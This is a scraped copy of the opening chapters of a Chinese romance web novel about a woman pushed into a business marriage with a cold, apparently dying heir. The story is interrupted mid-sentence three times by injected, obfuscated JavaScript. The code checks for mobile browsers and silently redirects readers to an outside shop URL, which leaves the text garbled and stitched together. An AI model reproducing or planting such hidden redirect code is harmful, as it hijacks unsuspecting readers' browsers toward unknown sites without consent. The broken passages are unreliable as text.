《婚色如潮》 1. ‘逼婚\’ 车在民政局门前缓缓停下,舒晴拽紧身前的安全带。 她皱眉直视前方排成长队的情侣们,心里打定主意,就算死在车上,也绝不会跟身边这个男人结婚。 车停稳,秦兆长腿一跨率先下车,接着面无表情地绕到另一边车门。 隔着车窗看到里面端坐着的女人浑身戒备,一副拒不配合的样子,伸手帮她打开门。 “下车。”秦兆淡然开口。 舒晴狠狠瞪向他:“你发疯别想我也陪着你发疯,我是不会跟你结婚的。” “你觉得你还有退路吗。” “反正我不会选择你这条路!” 看他神情漠然,舒晴又说:“秦兆你要什么没有,勾勾手指就有一堆女人排着队等着嫁给你,你为什么偏偏要拉着我走上一条不归路,我们根本不适合,你放过我吧。” 说到最后她已经用上恳求的语气了。 但是车门外的男人依旧一副面无表情的模样,好像她上赶着求嫁,而他才是被逼婚的那个人。 “下车,我等会儿还要去开会。”秦兆抬手看了眼腕上的名表,语气冷漠。 舒晴简直要被这个油盐不进的臭男人给气炸了。 她闭上眼,狠吸一口气在慢慢吐出来,这才把心里那团滔天怒火给压下去。 她怕她再不冷静下来一定会跳起来暴打秦兆一顿,被人看到拍下来,然后登上各大社会新闻头条。 冷静冷静,舒晴告诫自己,硬碰硬不行,那来软的吧。 “我肚子突然有点疼,想找个地方方便。”她决定恶心恶心他。 舒晴说着一边捂着肚子,一边左顾右盼地下车,打算伺机逃离。 没想到双脚才一掂地,秦兆就毫无预兆地将她打横抱起。 “前面不远处有个公共卫生间,我抱你去。” 真是失策,这个男人存心不让她好过。 “放我下来,我自己可以走!”舒晴在他怀里拼命挣扎。 “不要动。” 到了公共卫生间门口他才把舒晴放下。 高大颀长的身影笼罩着她,他微微垂眸,清冷的眼神好像在看她还能搞出什么花招。 “最好快点,我没那么多时间等你。” 舒晴冷睨他一眼,咬着牙走进了卫生间。 一进来,她就四面环顾,发现连个窗都没有,心中一阵绝望,她简直插翅难逃啊。 她想了想,拿出手机,给闺蜜陆安安发了个定位,让她江湖救急。 接下来她就推开其中一个卫生间的门,坐在马桶上玩手机,等陆安安过来。 她就不信秦兆还能不顾及脸面进来带走她。 没想到等了半天,陆安安没给她回个话,也没过来救她。 舒晴坐得屁股疼,决定不等了。 她沉着脸走出去,打算跟秦兆来个鱼死网破。 却见门前没有了秦兆踪影,连他的车也不见了。 他决定大发慈悲放过她了? 舒晴正想着,手机突然“叮”的一声,发来了一条微信,是秦兆发过来的。 【我先去开会,再给你三天时间,如若不然,秦氏取消对舒氏集团的投资。】 舒晴看完没有松口气,心情反而更沉重了。 舒氏集团是她爸打下的江山,如今因为资金链断裂而濒临破产的边缘,这无疑会毁了他一生的心血。 她不想用她的婚姻作为筹码换取一时的利益,但是她老爸这些天的压力和颓然她都看在眼里,舒氏集团管理着大大小小上千名员工,如果舒氏集团破产,他们无疑会失去经济来源,很多人都会面临失业的困局,她老爸愁得头发都白了好多,而秦氏的投资无疑是雪中送炭,但代价却是她的婚姻。 舒晴叹了口气,打了个车准备回自己的小公寓。 没想到半路她老妈一个电话,让她掉头回了舒家老宅。 一进门,舒晴就看到了舒薇禾对着她爸妈嘘寒问暖。 见到她回来了,舒薇禾热情地上前拉住她,“阿晴,你可算回来了。” 舒晴抽回手,看都不看她一眼,径直走到她老妈刘雅梅面前坐下。 “妈,叫我回来有什么事吗?” “你跟秦兆领证了吗?”刘雅梅满含期待地看着她。 “还没呢,他公司临时有事,走了。” “哦,没事,你俩啊迟早的事。”刘雅梅虽有些失望,却也没表现出来。 她继续对舒晴说:“你都快25了,老大不小的,秦兆事业有成,知根知底,从来没有什么绯闻和不良嗜好,你嫁他是再好不过的了。” “可我不喜欢他。”舒晴直言。 “感情可以婚后培养,我跟你爸当初也是这么过来的。” “他要是阳|痿怎么办。” 正喝着茶的舒国强一口水喷了出来,虎着脸瞪向舒晴。 “你一个女孩子,说的这是什么话!” “嫁给秦兆有什么不好,人家有钱有地位,一堆女孩等着排队嫁他,你要是错过了这村就没有这个店了。” “他要是这么好,你们去嫁呗,”看到一旁的舒薇禾,舒晴便指着她说,“要不你们问问她呗,她肯定愿嫁。” “我?”被点到的舒薇禾抱着一丝隐秘的窃喜,目光灼灼看向舒国强和刘雅梅。 刘雅梅却说:“人家薇薇都有男朋友了,不合适。” “有什么不合适的,她肯定愿意甩了路齐铭,嫁给秦兆。” “你这孩子,以前跟薇薇不是好得跟亲姐妹似的吗,现在跟她说话怎么夹枪带炮的。” “我就这样。”舒晴在心里冷哼一声,亲姐妹?之前抢她男朋友的时候怎么不说亲姐妹。 “都别吵了,”舒国强说,“晴晴,你明天就和秦兆领证,不要像今天一样拖拖拉拉,耽误人家时间。” “就是啊,秦兆人挺好的,他点名了就要你,而且你小时候最爱粘着他,结了婚后好好培养感情,肯定能蜜里调油。”刘雅梅也附和道。 “蜜里调油?就他那张冰山脸,没把我冷死就算好的了,我不嫁,反正有的是人想嫁!” 舒晴冷冷瞟了舒薇禾一眼,转身走了。 回到她的小公寓,舒晴将手机关机,打算睡他个三天三夜,不理会那些人和事。 没想到才第二天,舒晴就被一阵急促的敲门声给吵醒了。 睡眼惺忪的舒晴十分不爽的打开门。 见到抱手而立的舒薇禾,舒晴冷笑一声,正想关上门。 却听到舒薇禾说:“一直打你电话怎么没接,你知不知道爸爸心脏病又犯了,你现在跟我去医院去看看他,车就在下面。” 舒晴心一紧,也不顾自己还穿着卡通睡衣,急匆匆跟她走。 电梯轿厢内,舒薇禾像想起什么似的:“哦对了,阿晴,差点忘了跟你说,路齐铭回国了,我喊了他当司机送我们去医院......你应该不会介意吧,等会儿可别给他脸色看哦,做人还是要大度点。” “对于扔掉的垃圾我从来都懒得给眼神,你这么宝贝我扔掉的垃圾,挺可笑的。”舒晴不咸不淡地开口。 舒薇禾闻言气得七窍生烟,刚想说点什么反刺她,忽然‘叮’的一声,电梯门缓缓开了,舒晴率先走出去,舒薇禾只好先咽下这口气。 舒薇禾的车停在不远处,舒晴走过去拉开后座车门,还没坐稳,她的前男友路齐铭就从驾驶座上转过头来,笑着跟她打招呼。 “舒晴,好久不见。” 舒晴原本懒得理会这个男人,却瞥到副驾上舒薇禾面露不豫之色。 她便也笑着跟他打招呼:“是挺久不见了,什么时候回国的?” “就前几天。” 两人就这样陆陆续续聊了起来,路齐铭边开车边跟舒晴说话,还不时从车前镜看她。 舒薇禾忍无可忍地对他说:“专心开车!” 路齐铭看都没看她一眼,虽然双眼直视前方路况,但依旧我行我素找话题跟舒晴聊天。 等红灯的时候,路齐铭递了一张名片给舒晴,“听说你在丽江准备开家民宿,这是我当地一个做家具的朋友名片,有需要的话你可以找他。” 舒晴的民宿都差不多装修好了,家具也进场了,便婉拒了。 又听到路齐铭说:“那加个微信吧。”他调出手机微信二维码摆在舒晴眼前。 舒晴还没来得及开口拒绝,一直被无视的舒薇禾怒问:“路齐铭,你心里还当我是你女朋友吗!” “哦,你想当就当呗。”路齐铭无所谓的样子气得舒薇禾牙痒痒。 看着这出好戏,舒晴不由得想起她和路齐铭分手时的情景。 大学时追了她整整三年,才刚处一个月的路齐铭在某天他们吵架后,半夜给她发来一句话: “你还想我做你男朋友吗?” “不想!滚蛋!”彼时火大的舒晴回了句不走心的气话。 没想到第二天他就带着面露得意的舒薇禾出现在自己面前,宣布他们在一起了。 舒晴只觉得晴天霹雳,他们一个是才交往不久,还没来得及昭告亲朋的男朋友,一个是相识以来就亲密无间的好姐妹。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562536|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>舒晴难以置信这种男朋友和好姐妹联合背叛的狗血剧情有一天会发生她身上。 气得两眼发黑的舒晴指着他们破口大骂,骂累了,一脸淡然的路齐铭竟然还倒了杯水让她先喝点水润润喉咙,舒晴直接把水泼到了他脸上,转身走了。 事后,舒晴有些后悔没甩他两巴掌,还想着下次遇见一定得给他补上,却不料没过多久就听说他出国了。 之后再也没见过,直到今天。 看他一身西装革挺的精英模样,却依旧不改玩世不恭的态度。 舒晴心想还好早就分手了,这狗男人还是留给舒薇禾慢慢消受吧,简直绝配! 来到医院,舒晴见到她妈坐在长椅上低头抹泪,赶紧走上前。 “妈,爸爸怎么样了?” 刘雅梅缓缓抬起头,泪眼朦胧地看着她:“你爸爸他还在ICU,医生说能不能挺过去就看明天了。”说完又哽咽着抹泪。 “这是怎么回事,爸爸之前不是好好的吗,怎么心脏病犯了?” “还不是公司那些老股东逼的,听说你不愿意和秦氏联姻,就联手施压,你爸说还要等几天,他们还是咄咄逼人,结果你爸心脏病就犯了。” 舒晴心里难受极了,她揽住刘雅梅的肩膀,安慰道:“妈,爸爸一定会没事的。” 担惊受怕了一整夜,好在第二天,舒国强终于醒了,转到了普通病房,然后点名要见舒晴。 进去前,刘雅梅拉着她嘱咐道:“顺着你爸点,别跟他顶嘴。” “知道了。” 舒晴进去了半个小时才出来。刘雅梅也顾上问她,就直接进病房看舒国强。 舒薇禾走到她面前问她:“爸爸跟你说了什么?” “关你什么事。”舒晴冷着脸,转身离开了。 其实舒国强还是苦口婆心地对她说那些话,让她快点和秦兆领证什么的,听得舒晴内心十分纠结。 “要不要我送你?”路齐铭不知从哪个犄角旮旯里冒出来,阴魂不散地跟着她。 “你怎么还在这儿?”舒晴问。 “等着为你献犬马之劳。”路齐铭嬉皮笑脸,看起来十分狗腿。 “免了,我不想看到你。” 舒晴一边说着一边走进电梯,电梯门缓缓关上,隔绝了路齐铭那张人憎狗厌的脸。 电梯下到六楼的时候,进来了一堆人,舒晴被挤到了角落里,不经意在其中看到了秦兆,他在人群中长身玉立,微垂着眸。 不想和秦兆打招呼,舒晴在他看过来前一秒迅速低下头玩手机,没让他看见。 好在秦兆不一会儿就出了电梯。 他刚离开,电梯里一个护士就兴奋对另一个小护士说:“你刚才看到没,刚才那男的长得好帅啊,简直极品。” “真的绝啊,又高又帅,目测至少有186。” “帅有什么用,还不是快要死了。”较为年长的白衣护士长忽然说。 “什么?!”两个小护士齐声惊呼。 “那男的是我们主任的病人,据说脑子里长了个肿瘤,动手术有很大的风险,只有25%的概率能活着下手术台,所以现在是保守治疗,大概就剩一年的时间了。” 那两个小护士闻言,顿时露出一副扼腕惋惜的表情。 舒晴呆呆地听着,被这一重磅消息砸得回不过神来。 心情很是复杂。 他们两家是世交,所以她和秦兆从小就认识,听家人说她小时候天天去找秦兆玩,不给去就哭。 虽然幼时的记忆差不多忘光了,但在舒晴隐约的印象里,秦兆是个温柔又耐心的小哥哥,不像现在这么冷漠。从她八岁被拐走,再到十七岁那年回家,他们中间隔了数年的时光,再见面时几乎和陌生人无异,而且他的性格和外貌都不是她的菜,所以对于要嫁给他这件事,舒晴是很抗拒的。 但现在情况不同了,秦兆得了绝症,如果她嫁给了他,那么只需忍受一年的婚姻生活,就能获得自由身,而且还能继承他的千亿遗产,到时候她再装个伤心欲绝,封心锁爱的样子,她爸妈肯定不会再逼她嫁人了。 况且,秦兆据说还有个白月光,虽然谁都没见过,但每年他都会飞去阿拉斯加看她,所以秦兆不可能是为了爱情而娶她,他们婚后可以约定互不干涉,夫妻生活她肯定是不能履行了,随便他去找小三小四,她都不管,只和他做一对有名无实的夫妻就好了。 打定主意后,舒晴给秦兆发了条微信。 “明天上午十点,民政局见。” 没过五分钟,秦兆就给她回了个“好”字。 2. 领证 第二天一早,舒晴和秦兆就在民政局碰头。 见了面,两人也没打招呼,直接排队登记,在你侬我侬等待登记的情侣之中显得有些格格不入。 舒晴抱着手,悄悄地打量一旁的秦兆。 他眉弓高耸,五官立体俊美,除了唇色比较淡,看起来不像个绝症病人。 “看我做什么?”秦兆忽然开口。 “我昨天好像在医院看到你了。”舒晴试探着说。 “你想问什么?” “你.......最近还好吗?” “我看起来有哪里不好吗,值得你如此关心我?”秦兆挑眉反问。 舒晴哼了一声,不再理他。 她虽然乐意守寡,但讨厌喜欢别人的欺瞒。 秦兆明知自己命不长久还坚持要娶她,简直罪加一等! 很快轮到他们登记,秦兆神色如常地填写申请结婚登记表,签下自己名字后淡淡瞧向舒晴。 签字前,舒晴说:“虽然可以嫁你,但是我这个人我行我素惯了,也不在乎什么脸面,要是婚后搞出什么丑闻来,连累了你的名声,你可别怪我啊。” “你可以试试。”秦兆冷声道。 “试试就试试!”舒晴破釜沉舟地在申请表最后签下了自己的大名,然后把两张表交给工作人员,顺利拿到了两本崭新的结婚证。 从民政局出来,舒晴还没适应新身份,打算就此和秦兆分道扬镳,各回各家。 秦兆却叫住了她,“我顺道和你去看望一下岳父。” 听他这么快改口称呼她爸为‘岳父’,舒晴微微挑眉:“我说你不会早就觊觎我了吧,表面上对我冷冷淡淡,实际上爱我爱得要死要活,所以才费尽心血来娶我。” “你一向如此自信吗。”秦兆不答反问。 “你以后就知道了。” 上了车,舒晴发现秦兆迟迟没发动车,正不耐烦地想催促他,却见他忽然俯身过来,身上淡淡的雪松气息将她笼罩其中。 舒晴神色一变,紧张地得往后一缩,贴在椅背上质问他:“你想干嘛!” 秦兆一言不发,微凉的手指拉过她颈侧的安全带,“咔哒”一声帮她扣好,然后坐回原位。 “你脸红了。”秦兆漆黑的眼里笑意浮沉。 “哪有!”舒晴摸了摸发烫的脸颊,下意识否认,“快开车。” 人逢喜事精神爽,舒国强当天不顾劝阻,执意要出院,说要去和秦家商量婚礼事宜。 众人拦不住,好在秦兆劝住了:“叔叔您好好养病,投资和婚礼的事我已经让人着手办了,您放心。” “阿兆啊,叔叔也是看着你长大的,对你很放心,晴晴以后就交给你照顾了,她还不是很懂事,你以后对她多多担待,她心善,你对她好,她也会对你好的。”舒国强拉着秦兆的手,语重心长。 “我会的。”秦兆郑重道。 舒国强欣慰地点点头。 舒晴无言看着这对翁婿,内心十分复杂。 一旁的舒薇禾小声问她:“你之前不是还很抗拒嫁给秦兆吗,怎么那么快改主意了?” “秦兆跪地苦苦哀求,声泪俱下,我只好勉为其难地答应了。”舒晴抱着双臂,平铺直叙地说。 谢薇禾闻言脸都黑了,这一听就是胡扯,可秦兆明明听到了也不反驳。 她养母刘雅梅还笑呵呵地说:“晴晴以前看到秦兆就躲,现在都敢调侃上了,果然结了婚就不一样。” “姐夫啊,阿晴以前爱去酒吧,常常夜不归宿,嫁给你之后我们就放心多了。”舒薇禾以前听说秦兆最不喜欢女人去酒吧玩乐,于是故意这样说。 “她想做什么就做什么,我不会干涉她。”秦兆淡淡说道。 舒薇禾闻言有些堵心起来,没想到他一点儿也不介意。 秦兆看着对她也不是很上心啊,怎么现在还护上了呢? 离开医院,秦兆让舒晴跟他回秦家老宅一趟。 “你今天很闲吗,怎么那么多事?”舒晴有点不高兴。 “奶奶想见见你。”秦兆一句话就将她堵回来了。 她现在嫁给了秦兆,是应该见见秦家奶奶的。 舒晴小时候经常来秦家玩,秦兆的奶奶非常喜欢她,每次她来,她都会给她准备很多好吃好玩的,对她宠得不得了,就像亲奶奶似的。 多年不见,舒晴也有点想她了。 到了秦家,舒晴就看到白发苍苍的秦家奶奶拄着拐杖等在门口,背后站着不少神色不一的秦家人。 “奶奶,我是舒晴,您还记得我吗?”舒晴带着得体的笑容迎上去。 “记得记得,奶奶盼了你好久,阿兆可算把你娶回来了,呵呵呵。”奶奶布满皱纹的脸上欣喜地绽开了一朵花。 一一打过招呼后,奶奶拉着她到沙发前坐下,开心地和她聊以前的事。 “你小时候啊,最喜欢和阿兆玩了,老是追在他身后喊哥哥,还说长大了要嫁给他,现在果真如此。”奶奶满面欢喜地说道。 舒晴闻言有些羞 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562537|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 赫,都多少年前的事儿了,她都不记得自己说过这些话了。 “是啊舒晴,阿兆这么多年没娶,就是在等你呢。”秦家大伯母说,“你幼年走丢后,他可是难过了好久。” 听到这里,舒晴看了眼身旁的秦兆,有些奇怪他这样冷心冷肺的人居然也会为她难过,这一定是大伯母夸大其词。 一谈起这个,奶奶就愤愤然道:“也不知道哪个天杀的人|贩|子将你买到了山沟沟去做别人的童养媳,还好阿兆将你找回来了,要不然啊就耽误你们的缘分了。” 当初她被拐到一个偏远山区,的确是被秦兆找到的,那时两人的关系虽然生分,但是不像现在这样疏远,后来是为什么她开始排斥秦兆了呢,舒晴皱眉深思了一会儿,有些想不起来了。 “好了好了,咱不说这些陈年旧事了,晴晴快过来吃饭吧,奶奶做了很多你喜欢吃的菜。” 秦奶奶说完,又吩咐佣人喊秦佑下来吃饭。 一听到秦佑这个名字,舒晴就心生厌恶。 要说她最讨厌的人舒薇禾排第二,那第一就非秦佑莫属了。 秦佑是秦兆的堂弟,也是她的大学同学,两人大学期间一直不对付,互看不顺眼。 果然吃饭的时候,秦佑饭都没吃两口,就嬉皮笑脸地调侃道:“我记得舒晴以前还有个童养夫呢,没想到现在竟然做了我嫂子,真是有趣。” 他这人,在学校的时候就大肆传播她曾经被、拐的经历,说她做过别人的童养媳,巴不得全世界都知道她不堪回首的过去,现在依旧想再往她的伤口上撒盐,这谁能忍得了。 舒晴火冒三丈,正想开口怼他两句,就听到一旁的秦兆冷冷地对秦佑说:“不说话没人把你当哑巴。” “瞧瞧,我才说了几句,我哥就护上了。” “就你话多。”秦家大伯母瞪了自家儿子一眼。 秦家奶奶也批评他:“晴晴再怎么说也是你大嫂,别说话没个把门,快道歉!” “嫂子对不起,我不该那样说你。”秦佑语调拉得长长,一听就没什么诚意。 “再这样说话你就别上桌吃饭了。”秦奶奶瞪着秦佑,接着又夹菜给舒晴:“晴晴,这臭小子就这幅狗德行,别跟他一般见识,多吃点啊。” 饭后,就在舒晴想告辞的时候,秦家奶奶又笑呵呵道:“奶奶好久没见你了,你们小两口啊今晚就在这儿住下吧,房间都收拾好了。” 舒晴一怔,正想拒绝,旁边的秦兆忽然攥住她的手,应声道:“好的奶奶。” 3. 同床 等到两人独处的时候,舒晴气得锤了秦兆一拳:“你答应奶奶做什么,我可不想和你住在同一个房间。” “舒晴,你搞清楚,我们现在是夫妻。”秦兆说。 “谁规定夫妻就要同住啦,再说了你凭什么擅作主张让我今晚住在这儿。” “那你随时可以走,和奶奶说一声。” 秦兆推开房门往内走去,脚步忽而一顿,然后神情自若地走了进去。 舒晴还想再反驳,却在看到房间里面的装饰时,表情变得一言难尽起来。 房间里面满眼都是红色,大红的‘囍’字贴在床头中间,床单被罩枕头也是红色的,床上还用玫瑰花瓣做了一个大大的爱心,看起来格外地喜庆,简直是十足的婚房。 “哟,大嫂怎么光站在门口不进去啊,不会新婚第一天就和我哥吵架了吧?” 秦佑双手插兜慢悠悠地走过来,站在她身旁瞄了一眼他们的卧室,顿时笑了:“房间是我妈和奶奶装饰的,怎么样喜欢吗,是不是很惊喜?” 惊喜?惊吓还差不多! 要她和秦兆在这里住上一晚,她估计会做噩梦。 舒晴果断下了楼。 秦奶奶看到她,便笑着说道:“晴晴,你来得正好,我带你去看你小时候和阿兆种的海棠,开了满树的花,可漂亮了。” 奶奶盛情难却,舒晴无法拒绝,只好随她去了。 天空湛蓝如水,洁白的云朵点缀其中,灿烂的阳光穿过花叶间的空隙,浅浅的斑驳光影洒在舒晴瓷白的小脸上。 “这就是当初你和阿兆种的海棠树,”秦奶奶亲切地挽着舒晴的手臂,指着眼前的海棠花树对她娓娓道来。 “那时候你才两岁,走路还不是很稳,秦兆走哪都牵着你的手,生怕你摔倒,连秦佑他都不愿意多带。 “你们小时候形影不离,长大了因为一些事儿反倒是生疏了不少,不过现在啊总算是有情人终成眷属。” 粉嫩娇艳的海棠花缀满枝头,犹如云蒸霞蔚般秀美,馥郁清雅的花香迎风扑鼻,沁人心脾,舒晴心胸都开阔了不少。 不过她有些纳闷,为什么奶奶会固执地认为她和秦兆两情相悦,小时候玩得好又怎样,明明长大后他们见面那么少,话都没心平气和地说过两句。 “晴晴,你和阿兆婚后住哪儿啊?我跟你说,他现在住的市中心那套房子大是大,但是可能生活不太方便,要不先在老宅住着,奶奶天天给你做好吃的,等你们生了孩子我还能给你带带。” 舒晴听到这里有些汗颜:“奶奶,我和秦兆才刚领证,生孩子还远着呢。” 她和秦兆毫无感情基础,领证就算了,怎么可能生孩子。再说了,秦兆命不久矣,她想不开才会让自己的孩子一出生就没了父亲。 秦奶奶叹了一口气:“你别怪奶奶心里急,阿兆父母去得早,这些年他又一直是孤零零的一个人,我就盼着他身边有个贴心人,好在现在有了你,若是再来个一儿半女的,奶奶就更放心了。” 秦兆站在阳台处,修长的指间夹着一根烟,深邃的目光定格在舒晴的背影上。烟雾吞吐间,微微模糊了他英俊的五官。 他接了个电话。 “秦总,媒体那边都办好了。” “嗯。”秦兆声音清冷,转身回了房间。 当天晚上,舒晴还是留下来住了,有些事儿她得和秦兆说清楚。 舒晴早早洗好了澡,靠在床头玩手机。 过了一会儿,秦兆从浴室里出来了。他身穿睡袍,微微敞开的胸口隐约可见线条起伏的腹肌。 “身材不错嘛。”舒晴朝他挑挑眉,笑得很暧昧。 秦兆没吭声,淡淡地扫了她一眼,神色如常地掀起大红锦被躺进去。 床很大,躺三个人都绰绰有余,他们两人之间隔了些距离,即便同床也挨不到一起。 ‘啪’地一声,舒晴关掉了床头灯。 房间暗下来,浓重的夜色里,他们躺在床上,四下安静,只能听到彼此浅浅的呼吸声。 舒晴深吸一口气,被子下用光裸的脚一点一点地往身旁探,然后像藤蔓般勾住了男人修长紧实的小腿。 一只柔弱无骨的手也摸上了他丝绸睡袍的衣带,正想解开,手就被紧紧攥住。 “舒晴,你想做什么?”秦兆沉声问。 “洞房花烛夜,你说我想做什么?”舒晴语气无辜。 “别闹。”秦兆按捺住心里的躁动,克制着说。 “我都这样了,你是不是不行啊?”舒晴一脸坏笑。 见秦兆不吭声,她又用脚试探性地轻轻摩|挲他的小腿。 秦兆呼吸变得急促起来,他咬牙制住她不安分的脚:“不想睡就出去!” “新婚之夜就要赶我出门啊,奶奶知道了,一定会敲暴你的狗头。” “你安分一点。”秦兆低声警告,起身去衣柜拿了床薄被自己盖。 确定了秦兆对她不感性|趣,舒晴越发胆大,凑到他耳边问他:“哎,你是不是有个白月光,想为她守身如玉啊?” 秦兆沉默着没有回答,舒晴就当他默认了。 “你既然心有所属,为什么还要娶我啊。”舒晴问。 “商业联姻,没有为什么。”秦兆语气极其冷漠。 “那你的意思就是我们只是表面夫妻,以后可以各玩各的咯?” “随你怎么想。” “你这人怎么那么无趣,难怪你的白月光不要你。”舒晴吐槽道,“害得我只能回收垃圾。” 听到舒晴如此形容他,秦兆被她撩起的心瞬间沉寂。 “婚后我不会干涉你,你也别给我制造麻烦,钱随便你花,我只是需要位有名无实的妻子和我应付奶奶。” “我就一个要求,在我们婚姻存续期间内和所有男人保持距离,不能越轨。” 舒晴还是第一次听秦兆讲那么多话,但他的话简直说到了她心坎里,于是开心地说:“英雄所见略同,老公晚安喽。” 舒晴说完翻了个身背对他,不一会儿就鼾声传来。 秦兆静静地躺在这个没心没肺的女人身边,睁着眼,一夜无眠。 舒晴做了一晚上梦。 梦里,她和秦兆奔跑在云南的山间,一刻不曾停歇,企图将那个愚昧落后的小山村远远甩在身后。 烈日炎炎下,他们紧牵着的手已经汗水黏腻,但是舒晴不敢松开,唯恐又回到那个深渊一般的地方。 风中似乎传来绝望的呼唤。 “姐姐!姐姐——” 听到周让的声音,她的脚步有一瞬间的迟滞,但随即又加快了步伐。 没有什么能阻挡她回家。 转头望去,男人的墨发在风中微扬,侧颜俊逸,精致的眉眼在阳光下分外夺目。 是她长这么大见过最好看的男人,连她在清河村的便宜弟弟周让都比不上。 山路崎岖,舒晴跑得跌跌撞撞,干涩的喉间涌上了铁锈味,双腿像灌了铅一样沉重无力。 她快要跑不动了。 秦兆听着她沉重急促的喘息声,瞥到她苍白的脸色,果断蹲下身。 “上来!我背你。” 累极的舒晴听话地趴上他宽瘦坚实的脊背,双手揽住他的脖颈,任由秦兆将她稳稳背起。 他们两人像流落天涯的亡命之徒,一刻不停地奔跑,越过耕地,跨过山岭,远处蜿蜒的公路隐约 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13562538|142779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可见,但身后的脚步声依旧穷追不舍。 舒晴心中却好像没有了紧迫感,她知道秦兆会带她离开,回到属于她的地方。 舒晴将脑袋靠在秦兆的肩上,他身上的汗味并不难闻,带着阳光般的味道。 风似乎停了。 舒晴隐隐觉得不对,她抬起眼,却恰好对上了周让那张攻击性极强的俊脸。 背她的人怎么变成了周让?! 他偏着头,依恋似的蹭了蹭她的鼻尖:“姐姐不准离开我。” “啊!” 舒晴惊叫一声,被吓醒了。 看着陌生的房间,她愣了好一会儿,才认出这里是那里。 舒晴心有余悸地重新躺回床上。 吓死她了,她以为她又要回到那个鸟不拉屎的山沟沟里了。 忽然,床头的手机响了,舒晴伸手接起。 “喂?” “舒晴,你真和秦兆结婚了?”电话里陆安安的声音极惊讶。 “是啊,昨天太匆忙,我忘了告诉你了。” 末了,舒晴又有些奇怪,问她:“你怎么知道的?” “你快看新闻。”陆安安说。 舒晴暂时从通话页面退出来,百度搜索了下新闻。 发现了数篇关于她和秦兆的新闻头条报道,标题也极为醒目: “秦氏科技掌权人与舒氏集团千金强强联姻,不日将举行盛大婚礼。” “豪门联姻!知名企业家秦兆与富家千金舒晴结婚照曝光!” 新闻版图里是一张她和秦兆P在一起的照片,也不知道这些媒体是从哪扒来的。 舒晴越看脸越黑,他们不就是简单结个婚吗,值得这么大张旗鼓地报道吗? “你怎么突然和秦兆结婚了,是不是他们强迫你的?” “没有。” 舒晴和她说了她嫁给秦兆的缘故。 “他得了绝症,你就这么轻率地嫁给他了?要是这事儿是假的怎么办?”陆安安问。 “都生米煮成熟饭了,想反悔也不行了。” “你和他做了!?”陆安安的声音瞬间拔高了几度。 “没有的事儿,我们只是做对表面夫妻。” “只做表面夫妻,那他娶你干嘛啊,不仅给你们家投资,还给你钱花,他是来做慈善的嘛?” “谁知道他想做什么,反正我们正好各取所需,他就算想养小三小四我也懒得管他。” “那行吧,你想清楚就好,”陆安安话音一转,又问她:“你什么来丽江?” “过几天吧,我还没跟我爸妈说呢。” 舒晴和陆安安在丽江一起合资开了家民宿,但还没有正式营业,她们原本打算去到那边商量开业事宜的,但后来舒晴因家事耽搁了,好在如今都顺利解决了。 挂了电话后,舒晴就订了一张三天后去往丽江的机票。 简单洗漱后,她就下楼和秦奶奶告辞。 “这就要走了吗,不多住几天?”秦奶奶有些不舍。 “不了奶奶,我还有些事儿。” “哦,那你和阿兆打声招呼再走吧,他在书房呢。” “那好。” 舒晴来到二楼书房,敲了敲门。 很快里面传来秦兆清冷的声音。 “进来。” 舒晴走进书房,看到秦兆就坐在宽大的书桌前,正低头处理一份文件,鼻梁处架着副金丝边眼镜,面容冷峻,看上去极不好接近。 秦兆抬眼看她,淡淡开口:“有事吗?” “没什么事儿,就是跟你说一声,我要走了。” 秦兆点点头,然后问:“婚礼的事你有什么要求吗?” 4. 礼物 “没什么要求,婚礼不用办,我过几天就要去丽江了,你有事没事都别找我,该干嘛干嘛去。”说着舒晴就要转身离开。 秦兆轻飘飘掠了她一眼,从容地合上手中的文件,神态慵懒地靠在椅背上开口道: “听说你父母想把舒氏百分之三的股份转让给你养妹,你知道这事儿吗?” 舒晴一听瞬间止步,“你说的是真的?” “我没必要骗你,你爸确实在会上提出来了。” 舒晴闻言顿时怒火冲天,连招呼都没打就急匆匆地离开了。 她回到家的时候,正好看到她妈坐在沙发上拿着一件毛衣给佣人笑着说:“刘姨啊,你看薇禾给我织的这件毛衣,又厚又暖,这孩子还是这么有孝心。” 刘雅梅喜笑颜开,连舒晴进屋了都没发现,还是佣人刘姨提醒了才注意到。 “呦,晴晴回来了,和秦兆相处得怎么样啊?” 刘雅梅温和地看着舒晴说。 深知舒薇禾本性的舒晴冷着脸,一把拿过她手中的毛衣,翻出毛衣底部,露出里面崭新的小标签,面带讽刺地说:“妈,你看看,这就是她对你的‘孝心’,还真是感人呢,明明是买的却非说自己织的。” 刘雅梅见状有些尴尬,却还是说:“这也没什么,总归还是薇薇送的。” 